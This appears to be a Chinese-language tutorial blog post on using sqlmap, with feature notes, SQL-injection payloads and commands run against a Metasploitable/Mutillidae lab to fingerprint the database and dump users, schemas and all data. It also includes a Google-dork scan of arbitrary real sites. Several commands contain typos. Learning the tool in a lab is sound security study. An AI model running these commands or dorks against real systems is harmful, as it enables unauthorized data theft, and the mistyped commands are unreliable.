1 sqlmap工具詳細使用 任務093:SQLMAP- 自動注入

任務093:SQLMAP- 自動注入 筆記
  1. sqlmap介紹

  1. 介紹

    • 開源sql注入漏洞檢測,利用

    • 檢測動態頁面中get/post參數,cookie,http頭

    • 數據榨取

    • 文件訪問

    • 操作系統命令執行

    • 引擎強大,特性豐富

    • Xss漏洞檢測

  2. 五種漏洞檢測技術

    • 基於布爾的盲注檢測

      • ’ and 1=1
    • 基於時間的盲注檢測基於錯誤的檢測

      • ’ and (select * from (select(sleep(20)))a)–+
    • 基於UNION聯合查詢的檢測

      • 適用於通過循環直接輸出聯合查詢結果,否則只顯示第一項結果
    • 基於堆疊查詢的檢測

      • ;堆疊多個查詢語句

      • 適用於非select的數據修改、刪除的操作

    • 支持的數據庫管理系統DBMS

       MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
      

3. 其他特性

  • 數據庫直接連接-d與burpsuite、google結合使用,支持正則表達式限定測試目標

    • 不通過SQL注入,制定身份認證信息、P、端口
  • Get、post、cookie、Referer、UserAgent (隨機或指定)限速: 最大併發、延遲發送

    • Cookie過期後自動處理Set-Cookie頭,更新cookie信息
  • 支持Basic,Digest,NTLM,CA身份認證

  • 數據庫版本、用戶、權限、hash枚舉和字典破解、暴力破解表列名稱

  • 文件上傳下載、UDF、啓動並執行存儲過程、操作系統命令執行、訪問windows註冊表

  • 與w3af、metasploit集成結合使用,基於數據庫服務進程提權和上傳執行後門

實際操作

顯示
-h或是--help                   都是查看基本常用的參數
    -hh                                  查看詳細參數
    -v                                    查看返回結果信息0-6,6是查看返回最詳細信息0是最低。默認是1
指定目標                                       
    -d                                   直接連接數據庫,當客戶端來使用
    -u     “URL地址”            定一個URL這個URL必須是帶變量的像http://www.site.com/vuln.php?id=1
     -l     文件                       導入一個文件可以來自Burp和WebScarab代理記錄的文件
    r-x    xxx.xml                   來自遠程站點地圖(.xml)文件的x站點地圖url解析目標
    -m   要指定的文件          多個目標URL保持到文件裏-m就會用文件裏的
    -r     請求信息的文件      叫請求信息保存成一個文件-r就會讀取文件裏的請求信息進行注入探測
    -g                                    用谷歌搜索引擎訪問然後在進行掃描
    -c     文件名                    叫要sqlmap執行的參數保存的到文件裏-c就會用文件裏的內容

下面就用上面的參數進行演示
靶機metasploitable-linux-2.0.0裏的phpMyAdmin裏的靶機

1. 命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f

-p是要指定的變量名之對這個變量進行檢查探測
      -f是檢查檢查指紋信息
      總體來說就是檢查這個URL裏的username進行指紋檢查看見查

2. 查看讀取數據庫賬號

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --usere
--usere是查看讀取數據庫賬號

3. 查看數據庫的版本

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --banner

–banner就是查看數據庫的版本類型的
4. 查看你數據管理系統有多少庫顯示庫名

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --dbs

–dbs查看你數據管理系統有多少庫顯示庫名
5. 查看原數據庫
 命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  --schema

–schema查看原數據庫 前提的有權限查詢schema庫的權限

6. 查看你所以的內容

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  -a

-a是查看你所以的內容

7. 直接連接數據庫進行查詢查詢的更快,但是你得的數據庫帳號密碼 列:sqlmap -d “mysql://帳號:密碼@192.168.20.10:3306/dvwa” -a

也可以用其他參數如–dbs了

靶機沒有密碼輸入帳號直接就可以連接了

命令

sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa"  -a

8. 掃描 google 搜索結果這個是需要翻牆的

命令

sqlmap.py -g "inurl:\".php?id=1\""

-g就是用google 搜索結果

9. 用 url 列表文件進行掃描

命令

sqlmap -m 文件名

-m是指定一個文件文件裏存放多個url地址然後在進行文件裏的多個url進行選擇性掃描

10.使用和請求文件和 POST文件方法進行掃描

用burp或者用其他工具進行抓取請求內容然後保存一個文件裏

帳號密碼幾乎都是用POST進行傳輸的很少用UIL進行傳輸url裏沒有傳輸帳號密碼那麼就在POST請求裏

10.1使用http請求文件

這個後面可以跟參數的

命令

sqkmap -r 請求保存的文件 -a

10.2使用burpsuite log文件

用burp工具的請求的過程保存成一個log文件然後在用sqlmao讀取log文件然後在漏洞的注入

保存log文件
    在這裏插入圖片描述
 在這裏插入圖片描述命令

sqlmap -l a 

掃描會非常長後面可以加參數

11. HTTPS

命令

sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

12.配置文件進行掃描

就是叫要掃描的URL保存到一個文件裏然後sqlmap在讀取文件裏的URL裏的目標地址進行掃描

命令

sqlmap -c sqlmap.txt
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章